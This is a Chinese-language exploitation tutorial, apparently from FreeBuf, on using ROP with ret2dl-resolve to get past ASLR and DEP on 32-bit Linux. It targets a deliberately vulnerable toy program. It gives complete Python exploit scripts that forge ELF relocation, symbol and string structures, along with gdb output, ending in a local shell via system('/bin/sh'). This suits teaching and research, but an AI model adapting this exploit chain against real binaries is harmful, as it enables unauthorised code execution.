如何在32位系统中使用ROP+Return-to-dl来绕过ASLR+DEP
传统的利用return-to-plt+ROP来绕过ASLR + DEP的技术需要知道库中函数的偏移地址,而在没有libc库的情况下可以使用Return-to-dl-resolve技术来达到动态获得库函数地址的目的,关于dl-resolve的技术细节请参照lazy-binding-in-detail
Environment
seviezhou@VirtualBox:~/Desktop$ uname -a
Linux VirtualBox 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
seviezhou@VirtualBox:~/Desktop$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04.5 LTS
Release: 12.04
Codename: precise
seviezhou@VirtualBox:~/Desktop$ gcc -v
gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu5)
Vulnerable code
/* bof.c */
#include <unistd.h>
int main()
{
char buf[100];
int size;
read(0, &size, 4);
read(0, buf, size);
write(1, buf, size);
return 0;
}
编译程序并且打开系统的ASLR:
seviezhou@VirtualBox:~/Desktop$ gcc -fno-stack-protector bof.c -o bof
root@VirtualBox:~# cat /proc/sys/kernel/randomize_va_space
2
程序是一个简单的缓冲区溢出,可以覆盖返回地址,在DEP的保护下,我们可以使用ROP技术来执行代码,为了绕过ASLR,这里使用了return-to-plt技术。
return-to-plt
call write@plt
调用write@plt的代码如下:
import sys
import struct
from subprocess import Popen, PIPE
bufsize = 112
addr_plt_read = 0x08048310
addr_plt_write = 0x08048340
addr_bss = 0x0804a018 # readelf -S a.out | grep .bss
addr_pop3 = 0x080484cd # pop esi ; pop edi ; pop ebp ; ret ;
addr_pop_ebp = 0x080483d3 # pop ebp ; ret ;
addr_leave_ret = 0x08048401 # leave ; ret ;
stack_size = 0x800
base_stage = addr_bss + stack_size
p = Popen(['./bof'], stdin=PIPE, stdout=PIPE)
buf = 'A' * bufsize
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', addr_leave_ret)
p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))
cmd = '/bin/sh'
buf = 'AAAA'
buf += struct.pack('<I', addr_plt_write)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += 'A' * (80-len(buf))
buf += cmd + "\x00"
buf += 'A' * (100-len(buf))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
函数的plt其实地址可以用objdump -d -j.plt bof读出:
seviezhou@VirtualBox:~/Desktop$ objdump -d -j.plt bof | grep read@plt
08048310 <read@plt>:
栈的布局如下:
+-------------------+
| A * 112 |
+-------------------+
| addr_plt_read | <- main return address
+-------------------|
| addr_pop3 | <- addr_plt_read 的返回地址,为了清理栈上的3个参数
+-------------------|
| 0 | <- read函数的arg1
+-------------------|
| base_stage | <- read函数的arg2
+-------------------|
| 100 | <- read函数的arg3
+-------------------|
| addr_pop_ebp | <- 把base_stage放到ebp中
+-------------------|
| base_stage | <- fake ebp
+-------------------|
| addr_leave_ret | <- mov esp, ebp ; pop ebp
+-------------------+
此时栈顶变为 addr_bss + stack_size = 0x0804a018 + 0x800 = 0x804a818
+-------------------+
| AAAA | <- 0x0804a818 ; for pop ebp
+-------------------+
| addr_plt_write | <- ret
+-------------------|
| AAAA | <- ret address of addr_plt_write
+-------------------|
| 1 | <- write函数的arg1
+-------------------|
| base_stage + 80 | <- write函数的arg2
+-------------------|
| len(cmd) | <- write函数的arg3
+-------------------|
| 80-len(buf) | <- padding for 80
+-------------------|
| cmd + "\x00" | <- string in base_stage + 80
+-------------------|
| 100 - len(buf) | <- padding for 100
+-------------------+
运行:
seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'
看到write@plt被成功调用打出了我们想要的字符串。
Relocation directly
接下来改一下ROP,将直接调用write@plt改为将reloc_offset放在栈中,直接跳到0x8048300执行:
seviezhou@VirtualBox:~/Desktop$ objdump -d -j.plt bof
...
08048340 <write@plt>:
8048340: ff 25 0c a0 04 08 jmp *0x804a00c
8048346: 68 18 00 00 00 push $0x18
804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
看到write@plt的reloc_offset为0x18,修改代码为:
...
...
cmd = '/bin/sh'
addr_plt_start = 0x08048300
reloc_offset = 0x18
buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()
运行:
seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'
Make fake Elf32_Rel structure
接下来要建立假的Elf32_Rel结构体,原来第一个结构体的位置为:
seviezhou@VirtualBox:~/Desktop$ readelf -d bof | grep JMPREL
0x00000017 (JMPREL) 0x80482b0
这里我们可插入一个非常大的reloc_offset,把结构体位置定位到我们可以控制的区域,选择区域为base_stage+28,reloc_offset = (base_stage+28) - addr_relplt,在指定区域插入伪造的结构体,先看看原来的write的结构体:
gdb-peda$ x/2x 0x18+0x80482b0
0x80482c8: 0x0804a00c 0x00000407
构造为:
addr_got_write = 0x0804a00c
r_info = 0x407
...
buf += struct.pack('<I', addr_got_write) # Elf32_Rel
buf += struct.pack('<I', r_info)
后半段改为:
addr_plt_start = 0x08048300
reloc_offset = 0x18
addr_relplt = 0x80482b0
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x0804a00c
r_info = 0x407
buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write) # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()
这样同样能调用write:
seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'
Make fake Elf32_Sym structure
我们知道在找到Elf32_Rel结构体后,会通过r_info >> 8得到Elf32_Sym结构体的位置
seviezhou@VirtualBox:~/Desktop$ readelf -d bof | grep SYM
0x00000006 (SYMTAB) 0x80481cc
0x0000000b (SYMENT) 16 (bytes)
write的r_info >> 8 = 4,所以在SYMTAB[4],也就是0x80481cc + 64:
gdb-peda$ x/s 0x804822c+64
0x804826c: "write"
我们可以把结构体放在base_stage + 36处,原结构体为:
gdb-peda$ x/4wx 0x80481cc+64
0x804820c: 0x00000040 0x00000000 0x00000000 0x00000012
所以构造为:
st_name = 0x40
buf += struct.pack('<I', st_name)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
还要修改Elf32_Rel结构体中的r_info,保证:
0x80481cc + (r_info >> 8) * 0x10 = base_stage + 36
r_info & 0xff = 0x7
所以base_stage + 36需要加padding,使得为0x10的倍数,计算得到这里正好符合padding的要求,可以不需要padding,修改后为:
...
...
cmd = '/bin/sh'
addr_plt_start = 0x08048300
reloc_offset = 0x18
addr_relplt = 0x80482b0
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x0804a00c
#r_info = 0x407
addr_dynsym = 0x80481cc
addr_dynstr = 0x804822c
addr_sym = base_stage + 36
# padding = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
# addr_sym = addr_sym + padding
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
st_name = 0x40
buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write) # Elf32_Rel
buf += struct.pack('<I', r_info)
# buf += "A" * padding
buf += struct.pack('<I', st_name) # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()
结果一样:
seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'
Make fake string table
我们知道Elf32_Sym结构体第一项是函数名称字符串在STRTAB中的偏移:
seviezhou@VirtualBox:~/Desktop$ readelf -d bof | grep STR
0x00000005 (STRTAB) 0x804822c
0x0000000a (STRSZ) 80 (bytes)
只需要修改st_name字段,直接在Elf32_Sym结构体后加字符串即可:
st_name = (base_stage + 52) - addr_dynstr
...
buf += struct.pack('<I', st_name) # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += "write\x00"
...
结果:
seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh'
Get shell
只要把write\x00改为system\x00,然后修改对应的参数就可以了,完整的脚本:
import sys
import struct
from subprocess import Popen, PIPE
bufsize = 112
addr_plt_read = 0x08048310
addr_plt_write = 0x08048340
addr_bss = 0x0804a018
addr_pop3 = 0x080484cd # pop esi ; pop edi ; pop ebp ; ret ;
addr_pop_ebp = 0x080483d3 # pop ebp ; ret ;
addr_leave_ret = 0x08048401 # leave ; ret ;
stack_size = 0x800
base_stage = addr_bss + stack_size
p = Popen(['./bof'], stdin=PIPE, stdout=PIPE)
buf = 'A' * bufsize
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', addr_leave_ret)
p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300
reloc_offset = 0x18
addr_relplt = 0x80482b0
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x0804a00c
#r_info = 0x407
addr_dynsym = 0x80481cc
addr_dynstr = 0x804822c
addr_sym = base_stage + 36
# padding = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
# addr_sym = addr_sym + padding
index_dynsym = (addr_sym - addr_dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
st_name = (base_stage + 52) - addr_dynstr
buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', base_stage + 80)
buf += "AAAA"
buf += "AAAA"
buf += struct.pack('<I', addr_got_write) # Elf32_Rel
buf += struct.pack('<I', r_info)
# buf += "A" * padding
buf += struct.pack('<I', st_name) # Elf32_Sym
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', 0x12)
buf += "system\x00"
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))
p.stdin.write(buf)
p.wait()
运行:
seviezhou@VirtualBox:~/Desktop$ python exp.py
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
$ whoami
seviezhou
这样就在不知道库中函数偏移的情况下调用了system。
参考来源: ROP stager + Return-to-dl-resolveによるASLR+DEP回避
*本文作者:pwdme,转载请注明来自 FreeBuf.COM
Via: freebuf
